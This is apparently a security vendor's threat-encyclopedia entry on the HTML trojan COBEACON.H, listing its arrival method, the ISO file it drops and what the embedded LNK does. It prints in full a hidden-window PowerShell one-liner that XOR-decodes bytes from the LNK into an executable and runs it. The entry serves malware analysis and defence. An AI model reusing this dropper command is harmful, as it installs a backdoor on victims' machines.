Trojan.HTML.COBEACON.H

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• {Default browser save path}\Market Data_10625963569591048732.iso

Other Details

This Trojan does the following:

• It has an embedded javascript that does the dropping of the malicious ISO file containing an lnk file.
• When executed, the lnk file does the following:
  • It drops the following files:
  • %User Temp%\{8 random characters}.{3 random characters}.ps1
  • %User Temp%\{8 random characters}.{3 random characters}.psm1
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • %User Profile%\Documents\tmp{random numbers}.exe → detected as Backdoor.Win64.COBEACON.OSLJEH
  • It adds the following processes:
  • powershell -windowstyle hidden $lp=dir *.lnk;$f=gc $lp -enc Byte;for($i=0;$i-lt$f.count;$i++){$f[$i]=$f[$i]-bxor0xCF};$p='%User Profile%\Documents\tmp'+(Get-Random)+'.exe';sc $p ([byte[]]($f|select -skip 010024))-enc Byte;&$p;
• It displays the following upon execution: